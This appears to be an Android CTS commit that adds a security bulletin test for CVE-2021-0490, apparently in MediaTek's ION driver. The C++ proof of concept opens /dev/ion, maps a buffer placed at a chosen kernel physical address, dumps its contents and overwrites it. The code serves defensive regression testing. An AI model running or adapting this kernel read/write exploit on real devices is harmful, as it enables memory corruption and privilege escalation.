STS test for Android Security CVE-2021-0490
Test: sts-tradefed run sts-engbuild-no-spl-lock -m CtsSecurityBulletinHostTestCases -t android.security.cts.CVE_2021_0490
Bug: 183518042
Bug: 183464868
Change-Id: If1f5ca75e1bb5197dd7def26ed288ff175f0e86b
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/Android.bp
new file mode 100644
index 0000000..2895e89
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/Android.bp
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2021-0490",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.cpp",],
+ shared_libs: [
+ "libnfc-nci",
+ "liblog",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/poc.cpp
new file mode 100644
index 0000000..793ad9c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/poc.cpp
@@ -0,0 +1,387 @@
+
+#include <stdbool.h>
+#include <stddef.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <sys/uio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <err.h>
+#include <fcntl.h>
+#include <sys/mman.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <sys/prctl.h>
+#include <unistd.h>
+#include <pthread.h>
+#include <log/log.h>
+
+#define FAIL_CHECK_ALOGE(condition, error_message) \
+ if (!(condition)) { \
+ ALOGE("Check failed: " #error_message " " #condition " Line: %d", \
+ __LINE__); \
+ exit(EXIT_FAILURE); \
+ }
+
+typedef unsigned int u32;
+typedef unsigned long u64;
+
+#define ION_IOC_MAGIC 'I'
+
+#define _IOC_NRBITS 8
+#define _IOC_TYPEBITS 8
+
+/*
+ * Let any architecture override either of the following before
+ * including this file.
+ */
+
+#ifndef _IOC_SIZEBITS
+# define _IOC_SIZEBITS 14
+#endif
+
+#ifndef _IOC_DIRBITS
+# define _IOC_DIRBITS 2
+#endif
+
+#define _IOC_NRMASK ((1 << _IOC_NRBITS)-1)
+#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS)-1)
+#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS)-1)
+#define _IOC_DIRMASK ((1 << _IOC_DIRBITS)-1)
+
+#define _IOC_NRSHIFT 0
+#define _IOC_TYPESHIFT (_IOC_NRSHIFT+_IOC_NRBITS)
+#define _IOC_SIZESHIFT (_IOC_TYPESHIFT+_IOC_TYPEBITS)
+#define _IOC_DIRSHIFT (_IOC_SIZESHIFT+_IOC_SIZEBITS)
+
+#ifndef _IOC_NONE
+# define _IOC_NONE 0U
+#endif
+
+#ifndef _IOC_WRITE
+# define _IOC_WRITE 1U
+#endif
+
+#ifndef _IOC_READ
+# define _IOC_READ 2U
+#endif
+
+#define _IOC(dir,type,nr,size) \
+ (((dir) << _IOC_DIRSHIFT) | \
+ ((type) << _IOC_TYPESHIFT) | \
+ ((nr) << _IOC_NRSHIFT) | \
+ ((size) << _IOC_SIZESHIFT))
+
+#ifndef __KERNEL__
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#endif
+
+/* used to create numbers */
+#define _IO(type,nr) _IOC(_IOC_NONE,(type),(nr),0)
+#define _IOR(type,nr,size) _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOW(type,nr,size) _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOWR(type,nr,size) _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+
+
+/* Structure definitions */
+
+enum ION_CMDS {
+ ION_CMD_SYSTEM,
+ ION_CMD_MULTIMEDIA,
+ ION_CMD_MULTIMEDIA_SEC
+};
+
+struct ion_custom_data {
+ unsigned int cmd;
+ unsigned long arg;
+};
+
+struct ion_fd_data {
+ int handle;
+ int fd;
+};
+
+struct ion_allocation_data {
+ size_t len;
+ size_t align;
+ unsigned int heap_id_mask;
+ unsigned int flags;
+ int handle;
+};
+
+struct ion_handle_data {
+ int handle;
+};
+
+struct ion_heap_query {
+ __u32 cnt; /* Total number of heaps to be copied */
+ __u32 reserved0; /* align to 64bits */
+ __u64 heaps; /* buffer to be populated */
+ __u32 reserved1;
+ __u32 reserved2;
+};
+
+enum ION_CACHE_SYNC_TYPE {
+ ION_CACHE_CLEAN_BY_RANGE,
+ ION_CACHE_INVALID_BY_RANGE,
+ ION_CACHE_FLUSH_BY_RANGE,
+ ION_CACHE_CLEAN_BY_RANGE_USE_VA,
+ ION_CACHE_INVALID_BY_RANGE_USE_VA,
+ ION_CACHE_FLUSH_BY_RANGE_USE_VA,
+ ION_CACHE_CLEAN_ALL,
+ ION_CACHE_INVALID_ALL,
+ ION_CACHE_FLUSH_ALL
+};
+
+enum ION_SYS_CMDS {
+ ION_SYS_CACHE_SYNC,
+ ION_SYS_GET_PHYS,
+ ION_SYS_GET_CLIENT,
+ ION_SYS_SET_HANDLE_BACKTRACE,
+ ION_SYS_SET_CLIENT_NAME,
+ ION_SYS_DMA_OP,
+};
+
+struct ion_sys_cache_sync_param {
+ union {
+ int handle;
+ void *kernel_handle;
+ };
+ void *va;
+ unsigned int size;
+ enum ION_CACHE_SYNC_TYPE sync_type;
+};
+
+struct ion_sys_get_phys_param {
+ union {
+ int handle;
+ void *kernel_handle;
+ };
+ unsigned int phy_addr;
+ unsigned long len;
+};
+
+struct ion_sys_get_client_param {
+ unsigned int client;
+};
+
+#define ION_MM_DBG_NAME_LEN 48
+#define ION_MM_SF_BUF_INFO_LEN 16
+
+struct ion_sys_client_name {
+ char name[ION_MM_DBG_NAME_LEN];
+};
+
+#define BACKTRACE_SIZE 10
+
+struct ion_sys_record_param {
+ pid_t group_id;
+ pid_t pid;
+ unsigned int action;
+ unsigned int address_type;
+ unsigned int address;
+ unsigned int length;
+ unsigned int backtrace[BACKTRACE_SIZE];
+ unsigned int backtrace_num;
+ void *handle;
+ void *client;
+ void *buffer;
+ void *file;
+ int fd;
+};
+
+enum ION_DMA_TYPE {
+ ION_DMA_MAP_AREA,
+ ION_DMA_UNMAP_AREA,
+ ION_DMA_MAP_AREA_VA,
+ ION_DMA_UNMAP_AREA_VA,
+ ION_DMA_FLUSH_BY_RANGE,
+ ION_DMA_FLUSH_BY_RANGE_USE_VA,
+ ION_DMA_CACHE_FLUSH_ALL
+};
+
+enum ION_DMA_DIR {
+ ION_DMA_FROM_DEVICE,
+ ION_DMA_TO_DEVICE,
+ ION_DMA_BIDIRECTIONAL,
+};
+
+struct ion_dma_param {
+ union {
+ int handle;
+ void *kernel_handle;
+ };
+ void *va;
+ unsigned int size;
+ enum ION_DMA_TYPE dma_type;
+ enum ION_DMA_DIR dma_dir;
+};
+
+#define ION_IOC_CUSTOM _IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data)
+#define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \
+ struct ion_allocation_data)
+
+#define ION_IOC_MAP _IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data)
+#define ION_IOC_SYNC _IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data)
+#define ION_IOC_SHARE _IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data)
+
+struct ion_sys_data {
+ enum ION_SYS_CMDS sys_cmd;
+ union {
+ struct ion_sys_cache_sync_param cache_sync_param;
+ struct ion_sys_get_phys_param get_phys_param;
+ struct ion_sys_get_client_param get_client_param;
+ struct ion_sys_client_name client_name_param;
+ struct ion_sys_record_param record_param;
+ struct ion_dma_param dma_param;
+ };
+};
+
+union ion_ioctl_arg {
+ struct ion_fd_data fd;
+ struct ion_allocation_data allocation;
+ struct ion_handle_data handle;
+ struct ion_custom_data custom;
+ struct ion_heap_query query;
+};
+
+enum mtk_ion_heap_type {
+ ION_HEAP_TYPE_MULTIMEDIA = 10,
+ ION_HEAP_TYPE_FB = 11,
+ ION_HEAP_TYPE_MULTIMEDIA_FOR_CAMERA = 12,
+ ION_HEAP_TYPE_MULTIMEDIA_SEC = 13,
+ ION_HEAP_TYPE_MULTIMEDIA_MAP_MVA = 14,
+ ION_HEAP_TYPE_MULTIMEDIA_PA2MVA = 15,
+ ION_HEAP_TYPE_MULTIMEDIA_PROT = 16,
+ ION_HEAP_TYPE_MULTIMEDIA_2D_FR = 17,
+ ION_HEAP_TYPE_MULTIMEDIA_WFD = 18,
+/* WARNING: DO NOT EDIT, AUTO-GENERATED CODE - SEE TOP FOR INSTRUCTIONS */
+};
+
+
+/*
+ * mappings of this buffer should be cached, ion will do cache maintenance
+ * when the buffer is mapped for dma
+ */
+#define ION_FLAG_CACHED 1
+
+/*
+ * mappings of this buffer will created at mmap time, if this is set
+ * caches must be managed manually
+ */
+#define ION_FLAG_CACHED_NEEDS_SYNC 2
+
+
+/*
+struct ion_client {
+ struct rb_node node;
+ struct ion_device *dev;
+ struct rb_root handles;
+ struct idr idr;
+ struct mutex lock;
+ const char *name;
+ char *display_name;
+ int display_serial;
+ struct task_struct *task;
+ pid_t pid;
+ struct dentry *debug_root;
+ char dbg_name[ION_MM_DBG_NAME_LEN];
+};
+*/
+// "dev" offset inside ion_client
+#define ion_device_OFF 12
+
+/*
+
+struct ion_device {
+ struct miscdevice dev;
+ struct rb_root buffers;
+ struct mutex buffer_lock;
+ struct rw_semaphore lock;
+ struct plist_head heaps;
+ long (*custom_ioctl)(struct ion_client *client, unsigned int cmd,
+ unsigned long arg);
+ struct rb_root clients;
+ struct dentry *debug_root;
+ struct dentry *heaps_debug_root;
+ struct dentry *clients_debug_root;
+};
+
+*/
+
+//"custom_ioctl" offset inside
+#define custom_ioctl_OFF 100
+
+int g_fd = -1;
+
+#define MMAP_SIZE 4096
+//#define PAGE_SIZE 4096
+
+int alloc_handle(int type, unsigned long kernel_obj_addr) {
+
+ union ion_ioctl_arg iia;
+ memset(&iia, 0, sizeof(iia));
+
+ iia.allocation.len = MMAP_SIZE;
+ iia.allocation.align = kernel_obj_addr;
+ iia.allocation.heap_id_mask = 1 << type;
+ iia.allocation.flags = ION_FLAG_CACHED | ION_FLAG_CACHED_NEEDS_SYNC;
+
+ FAIL_CHECK_ALOGE(ioctl(g_fd, ION_IOC_ALLOC, (unsigned long)&iia) >= 0, ION_IOC_ALLOC);
+ ALOGE("ION_IOC_ALLOC success");
+ return iia.allocation.handle;
+}
+
+int poc_write_kernel() {
+
+ g_fd = open("/dev/ion", 0x80000);
+ FAIL_CHECK_ALOGE (g_fd >= 0, failed to open ion);
+ ALOGE("[+] open /dev/ion");
+
+ int handle = alloc_handle(ION_HEAP_TYPE_MULTIMEDIA_PA2MVA, 0x40080000);
+
+ FAIL_CHECK_ALOGE(handle >= 0, alloc_handle failed);
+
+ union ion_ioctl_arg iia;
+ memset(&iia, 0, sizeof(iia));
+
+ iia.fd.handle = handle;
+
+ FAIL_CHECK_ALOGE (ioctl(g_fd, ION_IOC_SHARE, (unsigned long)&iia) >= 0, ION_IOC_SHARE);
+ ALOGE("ION_IOC_SHARE handle success");
+
+ int dma_fd = iia.fd.fd;
+
+ char *re_buf = (char*) mmap(NULL, MMAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, dma_fd, 0);
+ FAIL_CHECK_ALOGE ((void *)re_buf != MAP_FAILED, mmap);
+
+ ALOGE("re_buf addr:%p", re_buf);
+ ALOGE("re_buf[0]:%x", re_buf[0]);
+
+ int read_num = 0;
+ int counter = 0;
+ unsigned long *read_buf = (unsigned long *)re_buf;
+ for (read_num = 0; read_num < MMAP_SIZE/sizeof(unsigned long); read_num++) {
+ if (read_buf[read_num]) {
+ //reduce number of log messages
+ if(counter++ % 8 == 0){
+ ALOGE("read_buf[%d]:0x%lx", read_num, read_buf[read_num]);
+ }
+ }
+ }
+ ALOGE("read_num = %d", read_num);
+ ALOGE("non zero = %d", counter);
+
+ memset(re_buf, 0xbb, MMAP_SIZE);
+ munmap(re_buf, MMAP_SIZE);
+ close(dma_fd);
+ close(g_fd);
+
+ return 0;
+}
+
+int main() {
+ poc_write_kernel();
+ ALOGE("test end");
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
new file mode 100644
index 0000000..8f37185
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0490.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0490 extends SecurityTestCase {
+
+ @AsbSecurityTest(cveBugId = 183464868)
+ @Test
+ public void testPocCVE_2021_0490() throws Exception {
+ AdbUtils.runPocNoOutput("CVE-2021-0490", getDevice(), 60);
+ }
+}